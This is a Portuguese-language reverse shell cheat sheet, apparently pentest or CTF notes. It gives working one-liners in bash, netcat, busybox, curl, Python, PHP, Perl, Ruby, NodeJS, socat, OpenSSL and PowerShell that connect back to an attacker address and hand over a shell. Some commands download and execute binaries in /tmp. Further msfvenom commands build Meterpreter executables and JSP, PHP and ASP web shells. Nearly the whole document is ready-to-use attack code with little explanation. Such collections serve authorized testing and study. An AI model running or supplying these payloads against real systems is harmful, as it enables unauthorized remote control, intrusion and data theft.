Um **reverse shell** é uma técnica onde a máquina alvo inicia uma conexão de volta para o atacante, contornando firewalls que bloqueiam conexões de entrada. ### Bash TCP O método mais comum em sistemas Linux, usando dispositivos especiais do sistema. ```bash # Conexão TCP básica bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 # Versão alternativa mais robusta 0<&196;exec 196<>/dev/tcp/<your IP>/<port>; sh <&196 >&196 2>&196 ``` ### Bash UDP Para casos onde TCP está bloqueado, mas UDP está liberado. ```bash # Vítima sh -i >& /dev/udp/127.0.0.1/4242 0>&1 # Listener (atacante) nc -u -lvp 4242 ``` ### Netcat Traditional Quando o netcat tradicional está disponível com a opção -e. ```bash # Com execução direta nc -e /bin/sh [IP] [PORT] nc.traditional -e /bin/bash 10.0.0.1 4444 nc -c bash 10.0.0.1 4444 ``` ### Netcat OpenBSD Para versões do netcat que não possuem a opção -e. ```bash # Usando named pipes (FIFO) rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f ``` ### Busybox Utilizando o binário compilado do Busybox para pegar Revshell. ``` curl -s http://192.168.2.46:8082/busybox -o /tmp/busybox && chmod u+x /tmp/busybox && /tmp/busybox nc 192.168.2.46 1337 -e bash ``` ### Curl Utilizando um simples comando curl: ``` C='curl -Ns telnet://192.168.2.46:1337'; $C </dev/null 2>&1 | bash 2>&1 | $C >/dev/null ``` ### MsfConsole Subir um binário x64 para conseguir revshell. ``` curl -s http://192.168.2.46:8082/reverse.elf -o /tmp/reverse.elf && chmod u+x /tmp/reverse.elf && /tmp/reverse.elf msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.2.46 LPORT=1337 -f elf -o reverse.elf msfconsole -q -x "use multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set lhost 192.168.2.46; set lport 1337; exploit" ``` --- ## Linguagens de Programação ### Python Método muito comum em CTFs e pentests, funciona na maioria dos sistemas Linux. ```python # Versão com PTY (recomendada) export RHOST="10.10.10.10";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' # Versão simples python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' # IPv6 python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");' ``` ### PHP Comum em aplicações web comprometidas. ```php # One-liner PHP php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' ``` O [[Weevely]] Comum para gerar um arquivo de php para upload. ```markdown # Para criar uma revshell com upload. ./weevely.py generate senha123 shell.php # Se conectar usando o seguinte comando: ./weevely.py http://<alvo>/caminho/shell.php <SENHA> ``` ### Perl Funciona em muitos sistemas Unix-like por padrão. ```perl # Versão padrão perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' # Versão alternativa perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IP]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` ### Ruby Presente em muitos sistemas modernos. ```ruby # Versão básica ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' # Versão interativa ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IP]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` ### NodeJS Para ambientes com Node.js instalado. ```javascript // Versão completa (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(4242, "10.0.0.1", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })(); // Versão simples require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242') ``` --- ## Ferramentas Avançadas ### Socat Ferramenta poderosa para redirecionamento e tunelamento. ```bash # Atacante socat file:`tty`,raw,echo=0 TCP-L:4242 # Vítima /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.10:4242 ``` ### OpenSSL Para conexões criptografadas que podem passar despercebidas. ```bash # Atacante - gerar certificados openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes openssl s_server -quiet -key key.pem -cert cert.pem -port 4242 # Vítima mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 127.0.0.1:4242 > /tmp/s; rm /tmp/s ``` ### PowerShell (Windows) Para ambientes Windows. ```powershell # One-liner PowerShell powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() # Versão mais compacta powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" ``` --- ## Payloads com Msfvenom ### Windows ```bash # Staged (menor tamanho) msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.110 LPORT=4242 -f exe > reverse.exe # Stageless (mais estável) msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.110 LPORT=4242 -f exe > reverse.exe ``` ### Linux ```bash # Staged msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.10.110 LPORT=4242 -f elf > reverse.elf # Stageless msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.110 LPORT=4242 -f elf > reverse.elf ``` ### Web Shells ```bash # JSP (Java/Tomcat) msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f war > shell.war # PHP msfvenom -p php/meterpreter_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.php # ASP msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f asp > shell.asp ```